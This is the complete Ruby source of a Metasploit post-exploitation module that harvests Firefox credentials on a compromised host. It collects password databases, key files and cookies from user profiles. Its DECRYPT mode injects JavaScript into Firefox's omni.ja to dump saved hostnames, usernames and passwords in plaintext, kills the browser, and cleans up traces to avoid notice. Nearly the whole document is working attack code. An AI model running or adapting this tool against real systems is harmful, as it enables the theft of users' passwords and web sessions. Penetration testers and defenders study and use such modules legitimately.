736 lines
25 KiB
Ruby
736 lines
25 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
#
|
|
# Standard Library
|
|
#
|
|
require 'tmpdir'
|
|
|
|
#
|
|
# Gems
|
|
#
|
|
require 'zip'
|
|
|
|
#
|
|
# Project
|
|
#
|
|
require 'msf/core'
|
|
require 'rex'
|
|
require 'msf/core/auxiliary/report'
|
|
|
|
|
|
class MetasploitModule < Msf::Post
|
|
include Msf::Post::File
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Post::Windows::UserProfiles
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Multi Gather Firefox Signon Credential Collection',
|
|
'Description' => %q{
|
|
This module will collect credentials from the Firefox web browser if it is
|
|
installed on the targeted machine. Additionally, cookies are downloaded. Which
|
|
could potentially yield valid web sessions.
|
|
|
|
Firefox stores passwords within the signons.sqlite database file. There is also a
|
|
keys3.db file which contains the key for decrypting these passwords. In cases where
|
|
a Master Password has not been set, the passwords can easily be decrypted using
|
|
3rd party tools or by setting the DECRYPT option to true. Using the latter often
|
|
needs root privileges. Also be warned that if your session dies in the middle of the
|
|
file renaming process, this could leave Firefox in a non working state. If a
|
|
Master Password was used the only option would be to bruteforce.
|
|
|
|
Useful 3rd party tools:
|
|
+ firefox_decrypt (https://github.com/Unode/firefox_decrypt)
|
|
+ pswRecovery4Moz (https://github.com/philsmd/pswRecovery4Moz)
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'bannedit',
|
|
'xard4s', # added decryption support
|
|
'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
|
|
],
|
|
'Platform' => %w{ bsd linux osx unix win },
|
|
'SessionTypes' => ['meterpreter', 'shell' ]
|
|
))
|
|
|
|
register_options([
|
|
OptBool.new('DECRYPT', [false, 'Decrypts passwords without third party tools', false])
|
|
], self.class)
|
|
|
|
register_advanced_options([
|
|
OptInt.new('DOWNLOAD_TIMEOUT', [true, 'Timeout to wait when downloading files through shell sessions', 20]),
|
|
OptBool.new('DISCLAIMER', [false, 'Acknowledge the DECRYPT warning', false]),
|
|
OptBool.new('RECOVER', [false, 'Attempt to recover from bad DECRYPT when possible', false])
|
|
], self.class)
|
|
end
|
|
|
|
|
|
def run
|
|
# Certain shells for certain platform
|
|
vprint_status("Determining session platform and type")
|
|
case session.platform
|
|
when /unix|linux|bsd/
|
|
@platform = :unix
|
|
when /osx/
|
|
@platform = :osx
|
|
when /win/
|
|
if session.type != "meterpreter"
|
|
print_error "Only meterpreter sessions are supported on Windows hosts"
|
|
return
|
|
end
|
|
@platform = :windows
|
|
else
|
|
print_error("Unsupported platform: #{session.platform}")
|
|
return
|
|
end
|
|
|
|
if datastore['DECRYPT']
|
|
do_decrypt
|
|
else # Non DECRYPT
|
|
paths = []
|
|
paths = enum_users
|
|
|
|
if paths.nil? or paths.empty?
|
|
print_error("No users found with a Firefox directory")
|
|
return
|
|
end
|
|
|
|
download_loot(paths.flatten)
|
|
end
|
|
end
|
|
|
|
def do_decrypt
|
|
unless datastore['DISCLAIMER']
|
|
decrypt_disclaimer
|
|
return
|
|
end
|
|
|
|
omnija = nil # non meterpreter download
|
|
org_file = 'omni.ja' # key file
|
|
new_file = Rex::Text::rand_text_alpha(5 + rand(3)) + ".ja"
|
|
temp_file = "orgomni.ja" # backup of key file
|
|
|
|
# Sets @paths
|
|
return unless decrypt_get_env
|
|
|
|
# Check target for the necessary files
|
|
if session.type == "meterpreter"
|
|
if session.fs.file.exist?(@paths['ff'] + temp_file) && !session.fs.file.exist?(@paths['ff'] + org_file)
|
|
print_error("Detected #{temp_file} without #{org_file}. This is a good sign of previous DECRYPT attack gone wrong.")
|
|
return
|
|
elsif session.fs.file.exist?(@paths['ff'] + temp_file)
|
|
decrypt_file_stats(temp_file, org_file, @paths['ff'])
|
|
if datastore['RECOVER']
|
|
return unless decrypt_recover_omni(temp_file, org_file)
|
|
else
|
|
print_warning("If you wish to continue by trying to recover, set the advanced option, RECOVER, to TRUE.")
|
|
return
|
|
end
|
|
elsif !session.fs.file.exist?(@paths['ff'] + org_file)
|
|
print_error("Could not download #{org_file}. File does not exist.")
|
|
return
|
|
end
|
|
end # session.type == "meterpreter"
|
|
|
|
session.type == "meterpreter" ? (size = "(%s MB)" % "%0.2f" % (session.fs.file.stat(@paths['ff'] + org_file).size / 1048576.0)) : (size = "")
|
|
tmp = Dir::tmpdir + "/" + new_file # Cross platform local tempdir, "/" should work on Windows too
|
|
print_status("Downloading #{@paths['ff'] + org_file} to: #{tmp} %s" % size)
|
|
|
|
if session.type == "meterpreter" # If meterpreter is an option, lets use it!
|
|
session.fs.file.download_file(tmp, @paths['ff'] + org_file)
|
|
else # Fall back shells
|
|
omnija = read_file(@paths['ff'] + org_file)
|
|
if omnija.nil? or omnija.empty? or omnija =~ /No such file/i
|
|
print_error("Could not download: #{@paths['ff'] + org_file}")
|
|
print_error("Tip: Try swtiching to a meterpreter shell if possible (as its more reliable/stable when downloading)") if session.type != "meterpreter"
|
|
return
|
|
end
|
|
|
|
print_status("Saving #{org_file} to: #{tmp}")
|
|
file_local_write(tmp, omnija)
|
|
end
|
|
|
|
res = nil
|
|
print_status("Injecting into: #{tmp}")
|
|
begin
|
|
# Automatically commits the changes made to the zip archive when the block terminates
|
|
Zip::File.open(tmp) do |zip_file|
|
|
res = decrypt_modify_omnija(zip_file)
|
|
end
|
|
rescue Zip::Error => e
|
|
print_error("Error modifying: #{tmp}")
|
|
return
|
|
end
|
|
|
|
if res
|
|
vprint_good("Successfully modified: #{tmp}")
|
|
else
|
|
print_error("Failed to inject")
|
|
return
|
|
end
|
|
|
|
print_status("Uploading #{tmp} to: #{@paths['ff'] + new_file}")
|
|
print_warning("This may take some time...") if @platform =~ /unix|osx/
|
|
|
|
if session.type == "meterpreter"
|
|
session.fs.file.upload_file(@paths['ff'] + new_file, tmp)
|
|
else
|
|
unless upload_file(@paths['ff'] + new_file, tmp)
|
|
print_error("Could not upload: #{tmp}")
|
|
return
|
|
end
|
|
end
|
|
|
|
return unless decrypt_trigger_decrypt(org_file, new_file, temp_file)
|
|
|
|
decrypt_download_creds
|
|
end
|
|
|
|
def decrypt_disclaimer
|
|
print_line
|
|
print_warning("Decrypting the keys causes the remote Firefox process to be killed.")
|
|
print_warning("If the user is paying attention, this could make them suspicious.")
|
|
print_warning("In order to proceed, set the advanced option, DISCLAIMER, to TRUE.")
|
|
print_line
|
|
end
|
|
|
|
|
|
def decrypt_file_stats(temp_file, org_file, path)
|
|
print_line
|
|
print_error("Detected #{temp_file} already on the target. This could possible a possible backup of the original #{org_file} from a bad DECRYPT attack.")
|
|
print_status("Size: #{session.fs.file.stat(@paths['ff'] + org_file).size}B (#{org_file})")
|
|
print_status("Size: #{session.fs.file.stat(@paths['ff'] + temp_file).size}B (#{temp_file})")
|
|
print_status("#{org_file} : Created- #{session.fs.file.stat(@paths['ff'] + org_file).ctime} Modified- #{session.fs.file.stat(@paths['ff'] + org_file).mtime} Accessed- #{session.fs.file.stat(@paths['ff'] + org_file).mtime}")
|
|
print_status("#{temp_file}: Created- #{session.fs.file.stat(@paths['ff'] + temp_file).ctime} Modified- #{session.fs.file.stat(@paths['ff'] + temp_file).mtime} Accessed- #{session.fs.file.stat(@paths['ff'] + temp_file).ctime}")
|
|
print_line
|
|
end
|
|
|
|
|
|
def decrypt_recover_omni(temp_file, org_file)
|
|
print_status("Restoring: #{@paths['ff'] + temp_file} (Possible backup)")
|
|
file_rm(@paths['ff'] + org_file)
|
|
rename_file(@paths['ff'] + temp_file, @paths['ff'] + org_file)
|
|
|
|
if session.type == "meterpreter"
|
|
print_error("There is still #{temp_file} on the target. Something went wrong.") if session.fs.file.exist?(@paths['ff'] + temp_file)
|
|
|
|
unless session.fs.file.exist?(@paths['ff'] + org_file)
|
|
print_error("#{org_file} is no longer at #{@paths['ff'] + org_file}")
|
|
return false
|
|
end
|
|
end # session.type == "meterpreter"
|
|
|
|
true
|
|
end
|
|
|
|
|
|
def enum_users
|
|
paths = []
|
|
id = whoami
|
|
|
|
if id.nil? or id.empty?
|
|
print_error("Session #{datastore['SESSION']} is not responding")
|
|
return
|
|
end
|
|
|
|
if @platform == :windows
|
|
vprint_status("Searching every possible account on the target system")
|
|
grab_user_profiles().each do |user|
|
|
next if user['AppData'].nil?
|
|
dir = check_firefox_win(user['AppData'])
|
|
paths << dir if dir
|
|
end
|
|
else # unix, bsd, linux, osx
|
|
@platform == :osx ? (home = "/Users/") : (home = "/home/")
|
|
|
|
if got_root
|
|
vprint_status("Detected ROOT privileges. Searching every account on the target system.")
|
|
userdirs = cmd_exec("find #{home} -maxdepth 1 -mindepth 1 2>/dev/null").gsub(/\s/, "\n")
|
|
userdirs << "/root\n"
|
|
else
|
|
vprint_status("Checking #{id}'s Firefox account")
|
|
userdirs = "#{home + id}\n"
|
|
end
|
|
|
|
userdirs.each_line do |dir|
|
|
dir.chomp!
|
|
next if dir == "." or dir == ".." or dir =~ /No such file/i
|
|
|
|
@platform == :osx ? (basepath = "#{dir}/Library/Application\\ Support/Firefox/Profiles/") : (basepath = "#{dir}/.mozilla/firefox/")
|
|
|
|
print_status("Checking for Firefox profile in: #{basepath}")
|
|
checkpath = cmd_exec("ls #{basepath}").gsub(/\s/, "\n")
|
|
|
|
checkpath.each_line do |ffpath|
|
|
ffpath.chomp!
|
|
if ffpath =~ /\.default/
|
|
vprint_good("Found profile: #{basepath + ffpath}")
|
|
paths << "#{basepath + ffpath}"
|
|
end
|
|
end
|
|
end
|
|
end
|
|
return paths
|
|
end
|
|
|
|
def check_firefox_win(path)
|
|
paths = []
|
|
ffpath = []
|
|
path = path + "\\Mozilla\\"
|
|
print_status("Checking for Firefox profile in: #{path}")
|
|
|
|
stat = session.fs.file.stat(path + "Firefox\\profiles.ini") rescue nil
|
|
if !stat
|
|
print_error("Firefox was not found (Missing profiles.ini)")
|
|
return
|
|
end
|
|
|
|
session.fs.dir.foreach(path) do |fdir|
|
|
#print_status("Found a Firefox directory: #{path + fdir}")
|
|
ffpath << path + fdir
|
|
break
|
|
end
|
|
|
|
if ffpath.empty?
|
|
print_error("Firefox was not found")
|
|
return
|
|
end
|
|
|
|
#print_status("Locating Firefox profiles")
|
|
path << "Firefox\\Profiles\\"
|
|
|
|
# We should only have profiles in the Profiles directory store them all
|
|
begin
|
|
session.fs.dir.foreach(path) do |pdirs|
|
|
next if pdirs == "." or pdirs == ".."
|
|
vprint_good("Found profile: #{path + pdirs}")
|
|
paths << path + pdirs
|
|
end
|
|
rescue
|
|
print_error("Profiles directory is missing")
|
|
return
|
|
end
|
|
|
|
paths.empty? ? (nil) : (paths)
|
|
end
|
|
|
|
|
|
def download_loot(paths)
|
|
loot = ""
|
|
print_line
|
|
|
|
paths.each do |path|
|
|
print_status("Profile: #{path}")
|
|
|
|
# win: C:\Users\administrator\AppData\Roaming\Mozilla\Firefox\Profiles\tsnwjx4g.default
|
|
# linux: /root/.mozilla/firefox/tsnwjx4g.default (iceweasel)
|
|
# osx: /Users/mbp/Library/Application Support/Firefox/Profiles/tsnwjx4g.default
|
|
profile = path.scan(/Profiles[\\|\/](.+)\.(.+)$/).flatten[0].to_s
|
|
profile = path.scan(/firefox[\\|\/](.+)\.(.+)$/).flatten[0].to_s if profile.empty?
|
|
|
|
session.type == "meterpreter" ? (files = session.fs.dir.foreach(path)) : (files = cmd_exec("ls #{path} 2>/dev/null").split())
|
|
|
|
files.each do |file|
|
|
file.chomp!
|
|
if file =~ /^key\d\.db$/ or file =~ /^cert\d\.db$/ or file =~ /^signons.sqlite$/i or file =~ /^cookies\.sqlite$/ or file =~ /^logins\.json$/
|
|
ext = file.split('.')[2]
|
|
ext == "txt" ? (mime = "plain") : (mime = "binary")
|
|
vprint_status("Downloading: #{file}")
|
|
if @platform == :windows
|
|
p = store_loot("ff.#{profile}.#{file}", "#{mime}/#{ext}", session, "firefox_#{file}")
|
|
session.fs.file.download_file(p, path + "\\" + file)
|
|
print_good("Downloaded #{file}: #{p.to_s}")
|
|
else # windows has to be meterpreter, so can be anything else (unix, bsd, linux, osx)
|
|
loot = cmd_exec("cat #{path}//#{file}", nil, datastore['DOWNLOAD_TIMEOUT'])
|
|
if loot.nil? || loot.empty?
|
|
print_error("Failed to download #{file}, if the file is very long, try increasing DOWNLOAD_TIMEOUT")
|
|
else
|
|
p = store_loot("ff.#{profile}.#{file}", "#{mime}/#{ext}", session, loot, "firefox_#{file}", "#{file} for #{profile}")
|
|
print_good("Downloaded #{file}: #{p.to_s}")
|
|
end
|
|
end
|
|
end
|
|
end
|
|
print_line
|
|
end
|
|
end
|
|
|
|
|
|
# Checks for needed privileges and if Firefox is installed
|
|
def decrypt_get_env
|
|
@paths = {}
|
|
check_paths = []
|
|
loot_file = Rex::Text::rand_text_alpha(6) + ".txt"
|
|
|
|
case @platform
|
|
when /win/
|
|
unless got_root || session.sys.config.sysinfo['OS'] =~ /xp/i
|
|
print_warning("You may need SYSTEM privileges on this platform for the DECRYPT option to work")
|
|
end
|
|
|
|
env_vars = session.sys.config.getenvs('TEMP', 'SystemDrive')
|
|
tmpdir = env_vars['TEMP'] + "\\"
|
|
drive = env_vars['SystemDrive']
|
|
|
|
# This way allows for more independent use of meterpreter payload (32 and 64 bit) and cleaner code
|
|
check_paths << drive + '\\Program Files\\Mozilla Firefox\\'
|
|
check_paths << drive + '\\Program Files (x86)\\Mozilla Firefox\\'
|
|
when /unix/
|
|
unless got_root
|
|
print_error("You need ROOT privileges on this platform for DECRYPT option")
|
|
return false
|
|
end
|
|
# Unix matches linux|unix|bsd but BSD is not supported
|
|
if session.platform =~ /bsd/
|
|
print_error("Sorry, BSD is not supported by the DECRYPT option")
|
|
return false
|
|
end
|
|
|
|
tmpdir = '/tmp/'
|
|
|
|
check_paths << '/usr/lib/firefox/'
|
|
check_paths << '/usr/lib64/firefox/'
|
|
check_paths << '/usr/lib/iceweasel/'
|
|
check_paths << '/usr/lib64/iceweasel/'
|
|
when /osx/
|
|
tmpdir = '/tmp/'
|
|
check_paths << '/applications/firefox.app/contents/macos/'
|
|
end
|
|
|
|
@paths['ff'] = check_paths.find do |p|
|
|
check = p.sub(/(\\|\/)(mozilla\s)?firefox.*/i, '')
|
|
vprint_status("Checking for Firefox directory in: #{check}")
|
|
if directory?(p.sub(/(\\|\/)$/, ''))
|
|
print_good("Found Firefox directory: #{check}")
|
|
true
|
|
else
|
|
false
|
|
end
|
|
end
|
|
|
|
if @paths['ff'].nil?
|
|
print_error("No Firefox directory found")
|
|
return false
|
|
end
|
|
|
|
@paths['loot'] = tmpdir + loot_file
|
|
|
|
true
|
|
end
|
|
|
|
|
|
def decrypt_modify_omnija(zip)
|
|
# Which files to extract from ja/zip
|
|
files = [
|
|
'components/storage-mozStorage.js', # stor_js
|
|
'chrome/toolkit/content/passwordmgr/passwordManager.xul', # pwd_xul
|
|
'chrome/toolkit/content/global/commonDialog.xul', # dlog_xul
|
|
'jsloader/resource/gre/components/storage-mozStorage.js' # res_js (not 100% sure why this is used)
|
|
]
|
|
|
|
# Extract files from zip
|
|
arya = files.map do |omnija_file|
|
|
fdata = {}
|
|
begin
|
|
fdata['content'] = zip.read(omnija_file) unless omnija_file =~ /jsloader/
|
|
fdata['outs'] = zip.get_output_stream(omnija_file)
|
|
rescue
|
|
print_error("Was not able to find '#{omnija_file}' in the compressed .JA file")
|
|
print_error("This could be due to a corrupt download or a unsupported Firefox/Iceweasel version")
|
|
return false
|
|
end
|
|
fdata
|
|
end
|
|
|
|
# Read contents of array (arya)
|
|
stor_js, pwd_xul, dlog_xul, res_js = arya
|
|
stor_js['outs_res'] = res_js['outs']
|
|
|
|
# Insert payload (close after starting up - allowing evil js to run and nothing else)
|
|
wnd_close = "window.close();"
|
|
onload = "Startup(); SignonsStartup(); #{wnd_close}"
|
|
|
|
# Patch commonDialog.xul - Get rid of (possible) master password prompt
|
|
dlog_xul['content'].sub!(/commonDialogOnLoad\(\);/, wnd_close)
|
|
dlog_xul['outs'].write(dlog_xul['content'])
|
|
dlog_xul['outs'].close
|
|
vprint_good("[1/2] XUL injected - commonDialog.xul")
|
|
|
|
# Patch passwordManager.xul - Close password manager immediately
|
|
pwd_xul['content'].sub!(/Startup\(\); SignonsStartup\(\);/, onload)
|
|
pwd_xul['outs'].write(pwd_xul['content'])
|
|
pwd_xul['outs'].close
|
|
vprint_good("[2/2] XUL injected - passwordManager.xul")
|
|
|
|
# Patch ./components/storage-mozStorage.js - returns true or false
|
|
return decrypt_patch_method(stor_js)
|
|
end
|
|
|
|
|
|
# Patches getAllLogins() methods in ./components/storage-mozStorage.js
|
|
def decrypt_patch_method(stor_js)
|
|
data = ""
|
|
# Imports needed for IO
|
|
imports = %Q|Components.utils.import("resource://gre/modules/NetUtil.jsm");
|
|
Components.utils.import("resource://gre/modules/FileUtils.jsm");
|
|
Components.utils.import("resource://gre/modules/XPCOMUtils.jsm");
|
|
|
|
|
|
|
# Javascript code to intercept the logins array and write the credentials to a file
|
|
method_epilog = %Q|
|
|
var data = "";
|
|
var path = "#{@paths['loot'].inspect.gsub(/"/, '')}";
|
|
var file = new FileUtils.File(path);
|
|
|
|
var outstream = FileUtils.openSafeFileOutputStream(file);
|
|
var converter = Components.classes["@mozilla.org/intl/scriptableunicodeconverter"].
|
|
createInstance(Components.interfaces.nsIScriptableUnicodeConverter);
|
|
converter.charset = "UTF-8";
|
|
|
|
if (logins.length != 0) {
|
|
for (var i = 0; i < logins.length; i++) {
|
|
data += logins[i].hostname + " :: " + logins[i].username + " :: " + logins[i].password + " ^";
|
|
}
|
|
} else {
|
|
data = "no creds";
|
|
}
|
|
|
|
var istream = converter.convertToInputStream(data);
|
|
NetUtil.asyncCopy(istream, outstream);
|
|
|
|
return logins;
|
|
|
|
|
|
|
regex = [
|
|
nil, # dirty hack alert
|
|
[/return\slogins;/, method_epilog],
|
|
[/Components\.utils\.import\("resource:\/\/gre\/modules\/XPCOMUtils\.jsm"\);/, imports]
|
|
]
|
|
|
|
# Match the last two regular expressions
|
|
i = 2 # ...this is todo with the nil in the above regex array & regex command below
|
|
x = i
|
|
stor_js['content'].each_line do |line|
|
|
# There is no real substitution if the matching regex has no corresponding patch code
|
|
if i != 0 && line.sub!(regex[i][0]) do |match|
|
|
if regex[i][1]
|
|
vprint_good("[#{x-i+1}/#{x}] Javascript injected - ./components/storage-mozStorage.js")
|
|
regex[i][1]
|
|
end
|
|
end # do |match|
|
|
i -= 1
|
|
end # if i != 0
|
|
data << line
|
|
end
|
|
|
|
# Write the same data to both output streams
|
|
stor_js['outs'].write(data)
|
|
stor_js['outs_res'].write(data)
|
|
stor_js['outs'].close
|
|
stor_js['outs_res'].close
|
|
|
|
i == 0 ? (true) : (false)
|
|
end
|
|
|
|
|
|
# Starts a new Firefox process and triggers decryption
|
|
def decrypt_trigger_decrypt(org_file, new_file, temp_file)
|
|
[org_file, new_file, temp_file].each do |f|
|
|
f.insert(0, @paths['ff'])
|
|
end
|
|
|
|
# Firefox command line arguments
|
|
args = '-purgecaches -chrome chrome://passwordmgr/content/passwordManager.xul'
|
|
|
|
# In case of unix-like platform Firefox needs to start under user context
|
|
if @platform =~ /unix/
|
|
# Assuming userdir /home/(x) = user
|
|
print_status("Enumerating users")
|
|
users = cmd_exec("ls /home 2>/dev/null")
|
|
if users.nil? or users.empty?
|
|
print_error("No normal user found")
|
|
return false
|
|
end
|
|
user = users.split[0]
|
|
# Since we can't access the display environment variable we have to assume the default value
|
|
args.insert(0, "\"#{@paths['ff']}firefox --display=:0 ")
|
|
args << "\""
|
|
cmd = "su #{user} -c"
|
|
elsif @platform =~ /win|osx/
|
|
cmd = @paths['ff'] + "firefox"
|
|
# On OSX, run in background
|
|
args << "& sleep 5 && killall firefox" if @platform =~ /osx/
|
|
end
|
|
|
|
# Check if Firefox is running and kill it
|
|
if session.type == "meterpreter"
|
|
session.sys.process.each_process do |p|
|
|
if p['name'] =~ /firefox\.exe/
|
|
print_status("Found running Firefox process, attempting to kill.")
|
|
unless session.sys.process.kill(p['pid'])
|
|
print_error("Could not kill Firefox process")
|
|
return false
|
|
end
|
|
end
|
|
end
|
|
else # windows has to be meterpreter, so can be anything else (unix, bsd, linux, osx)
|
|
p = cmd_exec("ps", "cax | grep firefox")
|
|
if p =~ /firefox/
|
|
print_status("Found running Firefox process, attempting to kill.")
|
|
term = cmd_exec("killall", "firefox && echo true")
|
|
if term !~ /true/
|
|
print_error("Could not kill Firefox process")
|
|
return false
|
|
end
|
|
end
|
|
end
|
|
sleep(1)
|
|
|
|
#
|
|
# Rename-fu:
|
|
# omni.ja (original) -> orgomni.ja (original_backup)
|
|
# *random*.ja (evil) -> omni.ja (original)
|
|
# ...start & close Firefox...
|
|
# omni.ja (evil) -> *random*.ja (pointless temp file)
|
|
# orgomni.ja (original_backup) -> omni.ja (original)
|
|
#
|
|
vprint_status("Renaming .JA files")
|
|
rename_file(org_file, temp_file)
|
|
rename_file(new_file, org_file)
|
|
|
|
# Automatic termination (window.close() - injected XUL or firefox cmd arguments)
|
|
print_status("Starting Firefox process to get #{whoami}'s credentials")
|
|
cmd_exec(cmd, args)
|
|
sleep(1)
|
|
|
|
# Lets just check theres something before going forward
|
|
if session.type == "meterpreter"
|
|
i=20
|
|
vprint_status("Waiting up to #{i} seconds for loot file (#{@paths['loot']}) to be generated") unless session.fs.file.exist?(@paths['loot'])
|
|
while (!session.fs.file.exist?(@paths['loot']))
|
|
sleep 1
|
|
i -= 1
|
|
break if i == 0
|
|
end
|
|
print_error("Missing loot file. Something went wrong.") unless session.fs.file.exist?(@paths['loot'])
|
|
end # session.type == "meterpreter"
|
|
|
|
print_status("Restoring original .JA: #{temp_file}")
|
|
rename_file(org_file, new_file)
|
|
rename_file(temp_file, org_file)
|
|
|
|
# Clean up
|
|
vprint_status("Cleaning up: #{new_file}")
|
|
file_rm(new_file)
|
|
if session.type == "meterpreter"
|
|
if session.fs.file.exist?(temp_file)
|
|
print_error("Detected backup file (#{temp_file}) still on the target. Something went wrong.")
|
|
end
|
|
unless session.fs.file.exist?(org_file)
|
|
print_error("Unable to find #{org_file} on target. Something went wrong.")
|
|
end
|
|
end # session.type == "meterpreter"
|
|
|
|
# At this time, there should have a loot file
|
|
if session.type == "meterpreter"
|
|
unless session.fs.file.exist?(@paths['loot'])
|
|
print_error("DECRYPT failed. Either something went wrong (download/upload? Injecting?), there is a master password or an unsupported Firefox version.")
|
|
# Another issue is encoding. The files may be seen as 'data' rather than 'ascii'
|
|
print_error("Tip: Try swtiching to a meterpreter shell if possible (as its more reliable/stable when downloading/uploading)") if session.type != "meterpreter"
|
|
return false
|
|
end
|
|
end
|
|
|
|
true
|
|
end
|
|
|
|
|
|
def decrypt_download_creds
|
|
print_good("Downloading loot: #{@paths['loot']}")
|
|
loot = read_file(@paths['loot'])
|
|
|
|
if loot =~ /no creds/
|
|
print_status("No Firefox credentials where found")
|
|
return
|
|
end
|
|
|
|
# Better delete the remote creds file
|
|
vprint_status("Cleaning up: #{@paths['loot']}")
|
|
file_rm(@paths['loot'])
|
|
|
|
# Create table to store
|
|
cred_table = Rex::Ui::Text::Table.new(
|
|
'Header' => 'Firefox Credentials',
|
|
'Indent' => 1,
|
|
'Columns'=>
|
|
[
|
|
'Hostname',
|
|
'User',
|
|
'Password'
|
|
]
|
|
)
|
|
|
|
creds = loot.split("^")
|
|
creds.each do |cred|
|
|
hostname, user, pass = cred.rstrip.split(" :: ")
|
|
cred_table << [hostname, user, pass]
|
|
|
|
# Creds API
|
|
service_data = {
|
|
workspace_id: myworkspace_id
|
|
}
|
|
|
|
credential_data = {
|
|
origin_type: :session,
|
|
session_id: session_db_id,
|
|
post_reference_name: self.refname,
|
|
smodule_fullname: self.fullname,
|
|
username: user,
|
|
private_data: pass,
|
|
private_type: :password
|
|
}.merge(service_data)
|
|
|
|
create_credential(credential_data)
|
|
end
|
|
|
|
# Create local loot csv file
|
|
path = store_loot(
|
|
"firefox.creds",
|
|
"text/plain",
|
|
session,
|
|
cred_table.to_csv,
|
|
"firefox_credentials.txt",
|
|
"Firefox Credentials")
|
|
vprint_good("Saved loot: #{path.to_s}")
|
|
|
|
# Display out
|
|
vprint_line("\n" + cred_table.to_s)
|
|
end
|
|
|
|
|
|
def got_root
|
|
case @platform
|
|
when :windows
|
|
session.sys.config.getuid =~ /SYSTEM/ ? true : false
|
|
else # unix, bsd, linux, osx
|
|
id_output = cmd_exec("id").chomp
|
|
id_output.include?("uid=0(") ? true : false
|
|
end
|
|
end
|
|
|
|
|
|
def whoami
|
|
if @platform == :windows
|
|
id = session.sys.config.getenv('USERNAME')
|
|
else
|
|
id = cmd_exec("id -un")
|
|
end
|
|
|
|
id
|
|
end
|
|
end
|